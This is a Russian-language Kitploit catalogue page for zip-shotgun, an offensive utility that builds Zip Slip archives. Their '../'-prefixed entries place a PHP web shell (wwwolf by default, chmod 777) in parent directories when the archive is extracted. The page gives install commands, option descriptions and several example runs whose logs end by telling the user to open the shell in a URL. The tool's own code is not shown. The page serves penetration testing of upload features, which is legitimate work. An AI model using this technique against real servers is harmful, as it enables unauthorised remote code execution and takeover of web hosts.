Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
zip-shotgun — Утилитарный скрипт для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip) | Kitploit
Инструменты/GitHubGitHub/jpiechowka/zip-shotgun
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатация веб-приложенийТестирование на Проникновение
GitHubjpiechowka/zip-shotgun

zip-shotgun

Утилитарный скрипт для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip)

Репозиторий
3257 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ZIP Shotgun

Утилита для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip). Идея для этого скрипта взята из этой статьи в Silent Signal Techblog - Загрузка сжатого файла и выполнение команд и из OWASP - Тестирование загрузки вредоносных файлов

На Snyk.io есть отчёт о том, как это работает: Уязвимость Zip Slip и репозиторий GitHub с уязвимыми библиотеками на разных языках: Репозиторий Snyk.io Zip Slip на GitHub

Также есть отличное видео от LiveOverflow, проливающее свет на уязвимости Zip Slip и Zipperdown: Критические уязвимости .zip? - Zip Slip и ZipperDown

Этот скрипт создаёт архив, содержащий файлы с "../" в имени. При извлечении это может привести к тому, что файлы будут извлечены в родительские каталоги. Это может позволить атакующему разместить оболочки в каталогах, доступных через веб-браузер.

По умолчанию используется PHP-веб-оболочка wwwolf, и вся заслуга в этом принадлежит WhiteWinterWolf. Исходный код доступен ЗДЕСЬ

Установка

  1. Установка с помощью Python pip (требуется Python 3)

    pip3 install zip-shotgun --upgrade

  2. Клонирование репозитория git и установка

    git clone https://github.com/jpiechowka/zip-shotgun.git

    Выполните из корневого каталога клонированного репозитория (где находится файл setup.py)

    pip3 install . --upgrade

Использование и опции

root@kitploit:~
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

Options:
  --version                       Показать версию и выйти.
  -c, --directories-count INTEGER
                                  Количество каталогов для возврата
                                  внутри zip-файла (например, 3 означает, что
                                  в zip будут добавлены 3 файла: shell.php,
                                  ../shell.php и ../../shell.php, где
                                  shell.php — это имя указанной вами оболочки
                                  или случайно сгенерированное значение)
                                  [по умолчанию: 16]
  -n, --shell-name TEXT           Имя оболочки внутри созданного zip-
                                  файла (например, shell). Если не указано, будет
                                  сгенерировано случайное. Не может содержать пробелы
  -f, --shell-file-path PATH      Файл, содержащий код оболочки. Если
                                  эта опция не указана, будет добавлена
                                  оболочка wwwolf
                                  (https://github.com/WhiteWinterWolf/wwwolf-
                                  php-webshell) . Если указано имя, оно
                                  будет добавлено в zip с указанным именем,
                                  или, если не указано, имя будет случайно
                                  сгенерировано.
  --compress                      Включить сжатие. Если этот флаг установлен,
                                  архив будет сжат с использованием алгоритма
                                  DEFLATE с уровнем сжатия 9. По умолчанию
                                  сжатие не применяется.
  -h, --help                      Показать это сообщение и выйти.

Примеры

  1. Использование всех параметров по умолчанию

    zip-shotgun archive.zip

    Часть вывода скрипта

    root@kitploit:~
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: BCsQOkiN23ur7OUj
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Запись файла в архив: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Запись файла в архив: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Запись файла в архив: ../../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../BCsQOkiN23ur7OUj.php
    ...
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя BCsQOkiN23ur7OUj.php в URL
    
Скачать инструмент
  • Использование параметров по умолчанию и включение сжатия для архивного файла

    zip-shotgun --compress archive.zip

    Часть вывода скрипта

    root@kitploit:~
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 6B6NtnZXbXSubDCh
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
    ...
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя 6B6NtnZXbXSubDCh.php в URL
    
  • Использование параметров по умолчанию, но изменение количества каталогов для возврата в архиве на 3

    zip-shotgun --directories-count 3 archive.zip

    zip-shotgun -c 3 archive.zip

    Скрипт запишет в архив всего 3 файла

    Часть вывода скрипта

    root@kitploit:~
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 34Bv9YoignMHgk2F
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Запись файла в архив: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Запись файла в архив: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Запись файла в архив: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя 34Bv9YoignMHgk2F.php в URL
    
  • Использование параметров по умолчанию, но указание имени оболочки внутри архива и включение сжатия

    Имя оболочки не может содержать пробелы

    zip-shotgun --shell-name custom-name --compress archive.zip

    zip-shotgun -n custom-name --compress archive.zip

    Имя файлов оболочки внутри архива будет установлено в указанное пользователем.

    Часть вывода скрипта

    root@kitploit:~
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: ../../../custom-name.php
    ...
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя custom-name.php в URL
    
  • Указать собственный файл оболочки, но использовать случайное имя внутри архива. Установить количество каталогов на 3

    zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip

    zip-shotgun -c 3 -f ./custom-shell.php archive.zip

    Код оболочки будет взят из предоставленного пользователем файла. Имена внутри архива будут случайно сгенерированы.

    Часть вывода скрипта

    root@kitploit:~
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: gqXRAJu1LD8d8VKf
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Файл, содержащий код оболочки, был указан: REDACTED\zip-shotgun\custom-shell.php. Содержимое будет добавлено в архив
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Получение расширения файла из указанного файла оболочки для повторного использования: php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Открытие указанного файла с кодом оболочки: REDACTED\zip-shotgun\custom-shell.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Запись файла в архив: gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Запись файла в архив: ../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Запись файла в архив: ../../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя gqXRAJu1LD8d8VKf.php в URL
    
  • Указать собственный файл оболочки, задать имя оболочки для сохранения внутри архива. Установить количество каталогов на 3 и использовать сжатие

    zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip

    zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip

    Код оболочки будет взят из предоставленного пользователем файла. Имена внутри архива будут установлены в указанное пользователем имя.

    Часть вывода скрипта

    root@kitploit:~
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Файл, содержащий код оболочки, был указан: REDACTED\zip-shotgun\custom-shell.php. Содержимое будет добавлено в архив
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Получение расширения файла из указанного файла оболочки для повторного использования: php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Открытие указанного файла с кодом оболочки: REDACTED\zip-shotgun\custom-shell.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Запись файла в архив: custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Запись файла в архив: ../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Запись файла в архив: ../../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя custom-name.php в URL